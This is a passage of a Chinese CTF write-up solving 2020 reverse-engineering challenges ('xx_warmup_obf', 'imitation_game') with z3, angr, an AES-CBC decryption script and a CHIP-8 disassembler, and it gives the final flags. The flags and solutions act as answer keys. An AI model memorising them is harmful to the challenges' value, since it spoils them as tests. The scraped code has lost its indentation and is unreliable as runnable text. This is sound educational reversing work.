0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6F, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x68, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x74, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6D, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x34, 0x02, 0x02, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x38, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x34, 0x02, 0x01, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x33, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x82, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x45, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x08, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x79, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3A, 0x00, 0x01, 0x00, 0x34, 0x01, 0x03, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x7A, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x34, 0x02, 0x03, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x3E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x34, 0x02, 0x02, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x04, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x64, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x01, 0x00, 0x34, 0x02, 0x02, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x0F, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x40, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x02, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x02, 0x00, 0x34, 0x02, 0x01, 0x00, 0x3B, 0x01, 0x02, 0x01, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x05, 0x00, 0x6E, 0x00, 0x01, 0x00, 0x34, 0x01, 0x6E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x35, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x34, 0x00, 0xFF, 0x00, 0x34, 0x01, 0x01, 0x00, 0x3B, 0x00, 0x01, 0x00, 0x34, 0x01, 0x7E, 0x00, 0x3D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00]
from z3 import *

flag=''
point=0
for i in range(38):
s=Solver()
var=[BitVec('zzz',8) ,0,0]
tmp=var[0]
while 1:
op1=opcode[point]
if op1==0x34 and opcode[point+1]==0:
print ("0x34 0")
s.add(var[0] >= ord(' '))
s.add(var[0]<= ord('~'))
point+=4
continue
if op1==0x34 and opcode[point+1]!=0:
print ("0x34 1" ) # 0x400AD0
var[opcode[point+1]]=opcode[point+2]
point+=4
continue
if op1==0x3b:
print ("0x3b" )
if opcode[point+1]!=0 and opcode[point+2]!=0:
var[opcode[point+1]]+=var[opcode[point+2]]
else:
var[0]+=var[opcode[point+2]]
point+=4
continue
if op1==0x6e:
print ("0x6e")
if opcode[point+1]!=0 and opcode[point+2]!=0:
var[opcode[point+1]]^=var[opcode[point+2]]
else:
var[0]^=var[opcode[point+2]]
point+=4
continue
if op1==0x3d:
print ("0x3d")
if opcode[point+1]!=0 and opcode[point+2]!=0:
var[opcode[point+1]]-=var[opcode[point+2]]
else:
var[0]-=var[opcode[point+2]]
point+=4
continue
if op1==0x3a:
print ("0x3a" )
if opcode[point+1]!=0 and opcode[point+2]!=0:
var[opcode[point+1]]*=var[opcode[point+2]]
else:
var[0]*=var[opcode[point+2]]
point+=4
continue
if op1==0x4f:
print ("0x4f")
s.add(var[0]==0)
print (s)
print (s.check())
result = s.model()
flag += chr(result[tmp].as_long().real)
#print flag
point+=4
#raw_input()
break
raw_input()

print (flag)

#flag{02a701b714a2746d218c223b1598b0f5}

感觉可以试试用pinctf,但是我没成功(可能是环境问题)

2020 re xx_warmup_obf

这题就难在怎么去混淆然后进入验证逻辑分析,二进制里面有很多int 3指令,妨碍调试,运行完后就会进死循环。而且程序很多地方都不能反汇编,所以只能动调试试,遇到int 3指令就跳过,建议使用attach方法直接进入到输入flag的逻辑里面,不然一步步调到输入逻辑太麻烦。

img

比较flag长度的逻辑

img

第一个字符的检验逻辑 flag[0]*5D75 == 253C9E 很容易就能判断该字符为f

img

第二个字符检验逻辑flag[1]*44b38 + flag[0]*ffffe83== 1c4c7d2

后面逻辑也差不多,第三个字符检验逻辑就是前三个字符一个方程,第四个就是前四个一个方程,也就是说一共28个方程式。可以把这些方程都罗列出来然后用z3求解。(其实看到这个flag检验逻辑是一个字符一个字符验证的,开始想的是可以直接用pinctf求解,但是尝试了一下只有前三个字符是能正常判断出来的,后面就乱了,可能每个字符验证错误后还需要走一段流程,这个流程比正确流程更长)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#exp.py
from z3 import *
flag = [Int("flag%d" % i) for i in range(28)]
solver = Solver()
solver.add( (flag[0]*23925 ) == 2440350)
solver.add( (flag[1]*281400 + flag[0]*-7037 ) == 29673426)
solver.add( (flag[2]*-255300 + flag[0]*174826 + flag[1]*-283573 ) == -37557732)
solver.add( (flag[0]*-276718 + flag[1]*-98445 + flag[2]*259881 + flag[3]*4524 ) == -13182867)
solver.add( (flag[4]*-228216 + flag[0]*94721 + flag[3]*-274569 + flag[2]*285576 + flag[1]*-60353 ) == -25506885)
solver.add( (flag[5]*125853 + flag[2]*264844 + flag[4]*-294195 + flag[1]*-5496 + flag[3]*260927 + flag[0]*-153661 ) == 13075233)
solver.add( (flag[6]*-190371 + flag[5]*-130259 + flag[2]*-244086 + flag[1]*-244952 + flag[3]*-258397 + flag[0]*17630 + flag[4]*-109961 ) == -111027477)
solver.add( (flag[0]*228408 + flag[3]*-6727 + flag[6]*218992 + flag[2]*18513 + flag[1]*-198175 + flag[7]*268397 + flag[5]*117817 + flag[4]*224658 ) == 78775012)
solver.add( (flag[5]*52068 + flag[8]*92684 + flag[1]*-84462 + flag[4]*190784 + flag[2]*77982 + flag[0]*-236774 + flag[7]*-218493 + flag[3]*-288418 + flag[6]*-243023 ) == -52520267)
solver.add( (flag[1]*-280754 + flag[3]*96631 + flag[6]*229049 + flag[2]*-269632 + flag[9]*-39259 + flag[4]*171321 + flag[5]*-142792 + flag[7]*-64473 + flag[8]*-196269 + flag[0]*-168397 ) == -70797046)
solver.add( (flag[6]*121516 + flag[5]*-93524 + flag[0]*292706 + flag[3]*182157 + flag[10]*195039 + flag[2]*-25900 + flag[9]*-32946 + flag[1]*-256202 + flag[8]*162669 + flag[4]*-235026 + flag[7]*165207 ) == 28263339)
solver.add( (flag[0]*50166 + flag[11]*-165434 + flag[2]*80519 + flag[3]*272791 + flag[10]*-4940 + flag[5]*-272650 + flag[1]*133728 + flag[7]*-258188 + flag[8]*-111160 + flag[9]*-92964 + flag[6]*-131770 + flag[4]*148713 ) == -22025185)
solver.add( (flag[7]*-93199 + flag[3]*162962 + flag[2]*-214348 + flag[0]*20489 + flag[8]*-138253 + flag[9]*141532 + flag[11]*62018 + flag[6]*-100280 + flag[1]*-184125 + flag[12]*71182 + flag[10]*9710 + flag[4]*-262820 + flag[5]*147171 ) == -31396844)
solver.add( (flag[0]*-75412 + flag[13]*-224754 + flag[2]*-119275 + flag[9]*-61880 + flag[4]*22859 + flag[7]*116256 + flag[3]*122945 + flag[6]*25739 + flag[1]*-51437 + flag[5]*-200702 + flag[10]*-86956 + flag[12]*220404 + flag[8]*-55254 + flag[11]*59999 ) == -37063008)
solver.add( (flag[8]*300012 + flag[12]*-249960 + flag[14]*233663 + flag[10]*-228149 + flag[11]*-88326 + flag[1]*144834 + flag[6]*67553 + flag[2]*-2621 + flag[4]*135809 + flag[9]*157462 + flag[5]*278745 + flag[13]*-189890 + flag[3]*198502 + flag[0]*111310 + flag[7]*91783 ) == 93457153)
solver.add( (flag[7]*114175 + flag[1]*-129997 + flag[10]*54553 + flag[9]*-163572 + flag[14]*-48167 + flag[6]*148005 + flag[11]*230636 + flag[4]*-235783 + flag[8]*-233813 + flag[5]*-181764 + flag[12]*104421 + flag[2]*125666 + flag[3]*194067 + flag[13]*-11943 + flag[0]*15897 + flag[15]*-251681 ) == -36640750)
solver.add( (flag[16]*277429 + flag[1]*-39495 + flag[2]*254969 + flag[11]*154844 + flag[4]*-1254 + flag[5]*-52501 + flag[7]*-289940 + flag[6]*70051 + flag[12]*74128 + flag[9]*22454 + flag[8]*-68478 + flag[13]*272318 + flag[15]*-203538 + flag[10]*34835 + flag[14]*-228520 + flag[3]*-90549 + flag[0]*-132752 ) == -6628237)
solver.add( (flag[7]*-210718 + flag[16]*-36680 + flag[4]*-112241 + flag[14]*10792 + flag[15]*55085 + flag[1]*-5107 + flag[8]*-247882 + flag[10]*-94616 + flag[12]*-86968 + flag[9]*-53271 + flag[0]*237987 + flag[5]*66107 + flag[2]*189050 + flag[13]*-148216 + flag[3]*-144172 + flag[17]*-5873 + flag[11]*128092 + flag[6]*-249539 ) == -53084017)
solver.add( (flag[10]*12264 + flag[6]*-280672 + flag[0]*134548 + flag[11]*175077 + flag[4]*-74209 + flag[12]*156976 + flag[17]*1337 + flag[7]*84628 + flag[18]*-238861 + flag[3]*100397 + flag[8]*-155443 + flag[15]*272227 + flag[16]*58825 + flag[14]*145470 + flag[1]*195447 + flag[5]*-65515 + flag[13]*19517 + flag[2]*-186088 + flag[9]*56937 ) == 60764977)
solver.add( (flag[2]*139185 + flag[1]*-138274 + flag[10]*-18520 + flag[12]*245858 + flag[18]*-36580 + flag[15]*162065 + flag[4]*-122090 + flag[19]*-104395 + flag[14]*137214 + flag[11]*281718 + flag[6]*-170051 + flag[17]*137206 + flag[3]*176103 + flag[8]*-190345 + flag[16]*54404 + flag[0]*-199631 + flag[13]*159144 + flag[9]*-283834 + flag[7]*-58873 + flag[5]*-197535 ) == 4912728)
solver.add( (flag[12]*-193384 + flag[5]*270604 + flag[10]*-109205 + flag[3]*-39775 + flag[4]*-97284 + flag[14]*-199427 + flag[18]*38137 + flag[2]*148338 + flag[0]*108149 + flag[17]*-28337 + flag[1]*-239133 + flag[6]*27751 + flag[16]*181147 + flag[19]*127913 + flag[15]*150036 + flag[20]*-162393 + flag[11]*-72984 + flag[8]*74470 + flag[13]*63329 + flag[9]*293345 + flag[7]*168963 ) == 45577809)
solver.add( (flag[0]*-38942 + flag[13]*-273571 + flag[20]*60492 + flag[9]*-98937 + flag[5]*293201 + flag[11]*109605 + flag[3]*131692 + flag[1]*44675 + flag[10]*263208 + flag[12]*293781 + flag[7]*64641 + flag[21]*-207716 + flag[15]*153071 + flag[4]*179514 + flag[14]*-174651 + flag[2]*246135 + flag[16]*-220539 + flag[8]*-188979 + flag[19]*244009 + flag[17]*111858 + flag[6]*45637 + flag[18]*-285946 ) == 77539017)
solver.add( (flag[5]*-71444 + flag[7]*-130852 + flag[2]*255675 + flag[16]*59119 + flag[8]*-258754 + flag[12]*9791 + flag[3]*76213 + flag[14]*105293 + flag[21]*-148390 + flag[1]*-194890 + flag[10]*-141434 + flag[6]*-43684 + flag[17]*-21957 + flag[13]*-197632 + flag[0]*-58530 + flag[15]*295735 + flag[22]*92896 + flag[20]*-86224 + flag[11]*-206184 + flag[4]*32897 + flag[18]*234971 + flag[9]*-160726 + flag[19]*127285 ) == -38197685)
solver.add( (flag[9]*-291063 + flag[18]*191404 + flag[2]*-60213 + flag[8]*-133696 + flag[22]*89330 + flag[0]*196370 + flag[12]*-44618 + flag[16]*175825 + flag[11]*281705 + flag[21]*-238839 + flag[15]*-188959 + flag[19]*-180522 + flag[5]*-211930 + flag[7]*103466 + flag[6]*-40848 + flag[23]*191822 + flag[3]*268813 + flag[17]*-236806 + flag[14]*202621 + flag[10]*120347 + flag[4]*144870 + flag[1]*197685 + flag[20]*205675 + flag[13]*13902 ) == 67763764)
solver.add( (flag[0]*-85246 + flag[6]*91076 + flag[17]*37665 + flag[19]*-243227 + flag[2]*14439 + flag[12]*-8509 + flag[11]*9601 + flag[24]*-94067 + flag[23]*-199130 + flag[13]*-161113 + flag[18]*-210563 + flag[20]*-268221 + flag[5]*-54321 + flag[7]*234832 + flag[9]*115189 + flag[14]*-173902 + flag[16]*7838 + flag[22]*115716 + flag[3]*-261617 + flag[1]*-78459 + flag[8]*29334 + flag[10]*62004 + flag[21]*-19740 + flag[15]*69341 + flag[4]*39558 ) == -98330271)
solver.add( (flag[15]*226192 + flag[18]*197710 + flag[10]*-124307 + flag[14]*-73366 + flag[7]*92844 + flag[23]*41768 + flag[13]*10191 + flag[21]*-271816 + flag[9]*-35931 + flag[17]*-242059 + flag[25]*247654 + flag[6]*263000 + flag[4]*-65268 + flag[0]*232645 + flag[12]*-81477 + flag[5]*180400 + flag[16]*-212633 + flag[20]*-78437 + flag[1]*-111200 + flag[8]*-260264 + flag[24]*32044 + flag[3]*-252915 + flag[22]*169299 + flag[2]*-75568 + flag[19]*38468 + flag[11]*3788 ) == -13464859)
solver.add( (flag[10]*-155664 + flag[1]*-206964 + flag[16]*-166693 + flag[17]*-293146 + flag[19]*-213665 + flag[26]*-253617 + flag[0]*-121854 + flag[7]*-84952 + flag[18]*-153409 + flag[8]*83918 + flag[20]*-78913 + flag[13]*271210 + flag[4]*219151 + flag[3]*186585 + flag[2]*77915 + flag[6]*231326 + flag[22]*215574 + flag[25]*-6866 + flag[5]*77693 + flag[12]*116581 + flag[21]*-74795 + flag[14]*-15606 + flag[23]*-102361 + flag[15]*-254282 + flag[24]*-188087 + flag[9]*-23897 + flag[11]*180598 ) == -55504393)
solver.add( (flag[16]*167885 + flag[1]*258890 + flag[17]*-109447 + flag[24]*231264 + flag[15]*98136 + flag[20]*-113009 + flag[6]*-106792 + flag[19]*147747 + flag[22]*138998 + flag[18]*88628 + flag[26]*6966 + flag[8]*-14347 + flag[2]*-136952 + flag[4]*-225830 + flag[25]*167370 + flag[3]*-164339 + flag[5]*77375 + flag[10]*-120743 + flag[14]*-143324 + flag[27]*-38949 + flag[0]*157781 + flag[21]*40423 + flag[7]*138308 + flag[23]*-132906 + flag[9]*278196 + flag[12]*135302 + flag[11]*264405 + flag[13]*246315 ) == 133068723)

if solver.check() == sat:
model = solver.model()
result = [ chr( model[flag[i]].as_long() ) for i in range(28) ]
print("".join(result))
#flag{g0_Fuck_xx_5egm3nt_0bf}

在网上搜到题解还有一种使用angr的方法,也记录一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import angr
import claripy
p = angr.Project("D:\\ahhh\\qwb\\mytest\\2020\\xx_warmup_obf\\xx_warmup_obf",auto_load_libs=False)
state = p.factory.blank_state(addr=0x402D10) #入口
tmp_addr = 0x20000
ans = claripy.BVS('ans', 8 * 28)
state.memory.store(tmp_addr, ans)
state.regs.rax = 0x20000
sm = p.factory.simgr(state)
for byt in ans.chop(8):
state.add_constraints(state.solver.And(byt >= ord(' '),byt <= ord('~')))

find=[0x408470] # 目标(正常运行如果所有字符都判断正确就会调到这里)
avoid=[0x402D2F,0x402F96,0x4032C5,0x4034B6,0x4035CF,0x403728,0x4039D4,0x403B27,0x403CB9,0x403E34,0x40418F,0x40459C,0x4048FE, 0x404C6D,0x0405051,0x0405286,0x0405594 ,0x04057EF,0x0405B96,0x406057,0x0406537,0x0406931 ,0x0406DA9,0x407069,0x407606,0x040790B,0x0407D8F,0x4081B4,] #限制
sm.explore(find=find,avoid=avoid)
if sm.found:
solution_state = sm.found[0]
solution_bytes = solution_state.solver.eval(ans,cast_to=bytes)
solution = solution_bytes.decode('utf-8')
print (solution)
img

用angr就少了提取28个方程参数的繁琐步骤,简单一些

flag{g0_Fuck_xx_5egm3nt_0bf}

2020 re imitation_game

存在父进程调用子进程的逻辑,使用了fork函数

程序存在花指令,去除之后,反汇编main函数

img img

flag分为两部分,同样验证方法也有两部分,首先第一部分是AES-CBC加密,这个程序动调我一直调不出来这个AES加密逻辑,实际上它是起了一个子进程用于运行这个加密和对比流程,将输入进去的数据进行AES加密之后与unk_562406204048处的值进行对比,对比后向父进程发送信号,如果成功则进入第二阶段,失败则直接返回”no”然后程序结束。

img
1
2
3
9D7BA23CB1099A4841D16663D6AE3CABB825A9AE8B4AA6D17DC4B22AB35DE3D52B30509AD2881091771F0D86A2D3D6E16E24E94EF3F116050745EFD606454F3D    //加密后结果
3E2C251318BEC36BA1372453031E51EC //密钥
202122232425262728292A2B2C2D2E2F // IV
img

用chefcrypt就可以解密,当然热可以写个脚本来解:

img

ASE-CBC加解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex

def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf-8')

def encrypt(text):
key = b"\x3E\x2C\x25\x13\x18\xBE\xC3\x6B\xA1\x37\x24\x53\x03\x1E\x51\xEC"
iv = b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F"
mode = AES.MODE_CBC
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
return b2a_hex(cipher_text)

def decrypt(text):

key = a2b_hex(b"3E2C251318BEC36BA1372453031E51EC")
iv = a2b_hex(b"202122232425262728292A2B2C2D2E2F")
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
print(a2b_hex(text))
plain_text = cryptos.decrypt(a2b_hex(text))
return plain_text

if __name__ == '__main__':
e = encrypt("6c8f1d78770fe672122478c6f9a150e8\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a\x1a")

d = decrypt(b"9D7BA23CB1099A4841D16663D6AE3CABB825A9AE8B4AA6D17DC4B22AB35DE3D52B30509AD2881091771F0D86A2D3D6E16E24E94EF3F116050745EFD606454F3D")

print("加密:", e)
print("解密:", d)

# a='20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F'
# a=a.replace(' ','')

# print(a)

# 6c8f1d78770fe672122478c6f9a150e1

解得第一部分为:6c8f1d78770fe672122478c6f9a150e1

输入之后就可以看到第二部分运行起来是个窗口,可以在里面输入十个16进制数值,输入完毕之后直接给个”DEAD”出来,那也就是说flag第二部分只有十位数值

第二部分当时题目应该是给提示了,是启动了一个chip-8模拟器,加载game.bin运行了一个游戏

img img

所以主要逻辑应该就在game.bin文件里面,但是它是chip8指令集,ida解析不了,上网上搜索题解发现有用工具解决的,也有根据指令集自己编写代码来反汇编的,工具如下:

https://www.anquanke.com/post/id/172217

https://github.com/drguildo/CHIP8Decompiler

脚本如下:

https://github.com/mattmikolay/chip-8/wiki/CHIP%E2%80%908-Instruction-Set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from binascii import b2a_hex

with open('game.bin', 'rb') as f:
s = f.read()
s=b2a_hex(s).decode()
# print(s)
# input()
j = 0
for i in range(0, len(s), 4):
t = s[i:i + 4]
# print(t)
print("addr:" + hex(j + 0x200), end=" ")
j += 2
if t[0] == '0':
if t[1] == '0' and t[2] == 'e':
if t[3] == '1':
print("clear screen")
elif t[3] == 'f':
print("Returns from a subroutine")
else:
print("call program at addr: " + t[1:])
else:
print("call program at addr: " + t[1:])
elif t[0] == '1':
print("jmp " + t[1:])
elif t[0] == '2':
print("call " + t[1:])
elif t[0] == '3':
print("Skips the next instruction if V" + t[1] + " equals " + t[2:])
elif t[0] == '4':
print("Skips the next instruction if V" + t[1] + " not equals " + t[2:])
elif t[0] == '5':
print("Skips the next instruction if V" + t[1] + " equals V" + t[2])
elif t[0] == '6':
print("V" + t[1] + " = " + t[2:])
elif t[0] == '7':
print("V" + t[1] + " += " + t[2:])
elif t[0] == '8':
VX = "V" + t[1]
VY = "V" + t[2]
if t[-1] == '0':
print(VX + " = " + VY)
elif t[-1] == '1':
print(VX + " = " + VX + " | " + VY)
elif t[-1] == '2':
print(VX + " = " + VX + " & " + VY)
elif t[-1] == '3':
print(VX + " = " + VX + " ^ " + VY)
elif t[-1] == '4':
print(VX + " += " + VY, " set VF=1 if VX>=255")
elif t[-1] == '5':
print(VX + " -= " + VY, " set VF=0 if VX<=0")
elif t[-1] == '6':
print(VX + " >>= 1", " the last one to VF")
elif t[-1] == '7':
print(VX + " = " + VY + " - " + VX, " set VF=0 if VX&lt;0")
elif t[-1] == 'e':
print(VX + " <<= 1", " the first one to VF")
else:
print("Invalid instruction: " + t)
elif t[0] == '9':
print("Skips the next instruction if V" + t[1] + " not equals V" + t[2])
elif t[0] == 'a':
print("set I = " + t[1:])
elif t[0] == 'b':
print("jmp V0+" + t[1:])
elif t[0] == 'c':
print("V" + t[1] + "=rand()&" + t[2:])
elif t[0] == 'd':
print("display at (V" + t[1] + "," + "V" + t[2] + ") for " + t[3] + "rows")
elif t[0] == 'e':
print("something about buttons")
elif t[0] == 'f':
if t[2:] == '29':
print("set I=" + "V" + t[1])
elif t[2:] == "0a":
print("set V" + t[1] + " = button pressed")
elif t[2:] == "55":
print("store V0-V" + t[1] + " to addr start at I")
elif t[2:] == "65":
print("store addr start at I to V0-V" + t[1])
elif t[2:] == "33":
print("set BCD(V" + t[1] + ")")
else:
print(t[2:])
else:
print("Invalid instruction: " + t)

运行后得到汇编(根据chip8内存的排布规律,可执行代码从200开始):

可以看到程序入口直接跳转到2ce

img img

这里有两个主要函数928和938,928是用来读取按键输入的,938是用来把输入显示在屏幕上的

发现这两个函数被调用十次之后就开始运算操作了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
addr:0x438   Va = V0
addr:0x43a Vb = V0
addr:0x43c Vc = 02
addr:0x43e Vb += Vc set VF=1 if VX>=255
addr:0x440 Va = Vb
addr:0x442 V0 = Va
addr:0x444 Va = V1
addr:0x446 Vb = V1
addr:0x448 Vc = 01
addr:0x44a Vb += Vc set VF=1 if VX>=255
addr:0x44c Va = Vb
addr:0x44e V1 = Va
addr:0x450 Va = V2
addr:0x452 Vb = V2
addr:0x454 Vc = 01
addr:0x456 Vb += Vc set VF=1 if VX>=255
addr:0x458 Vc = 01
addr:0x45a Vb = Vb ^ Vc
addr:0x45c Va = Vb
addr:0x45e V2 = Va
addr:0x460 Va = V3
addr:0x462 Vb = V3
addr:0x464 Vc = 03
addr:0x466 Vb += Vc set VF=1 if VX>=255
addr:0x468 Va = Vb
addr:0x46a V3 = Va
addr:0x46c Va = V4
addr:0x46e Vb = V4
addr:0x470 Vc = 02
addr:0x472 Vb += Vc set VF=1 if VX>=255
addr:0x474 Va = Vb
addr:0x476 V4 = Va
addr:0x478 Va = V5
addr:0x47a Vb = V5
addr:0x47c Vc = 02
addr:0x47e Vb = Vb ^ Vc
addr:0x480 Vc = 01
addr:0x482 Vb += Vc set VF=1 if VX>=255
addr:0x484 Va = Vb
addr:0x486 V5 = Va
addr:0x488 Va = V6
addr:0x48a Vb = V6
addr:0x48c Vc = V6
addr:0x48e Vb += Vc set VF=1 if VX>=255
addr:0x490 Va = Vb
addr:0x492 V6 = Va
addr:0x494 Va = V7
addr:0x496 Vb = V7
addr:0x498 Vc = 01
addr:0x49a Vb += Vc set VF=1 if VX>=255
addr:0x49c Va = Vb
addr:0x49e V7 = Va
addr:0x4a0 Va = V8
addr:0x4a2 Vb = V8
addr:0x4a4 Vc = 01
addr:0x4a6 Vb = Vb ^ Vc
addr:0x4a8 Vc = 01
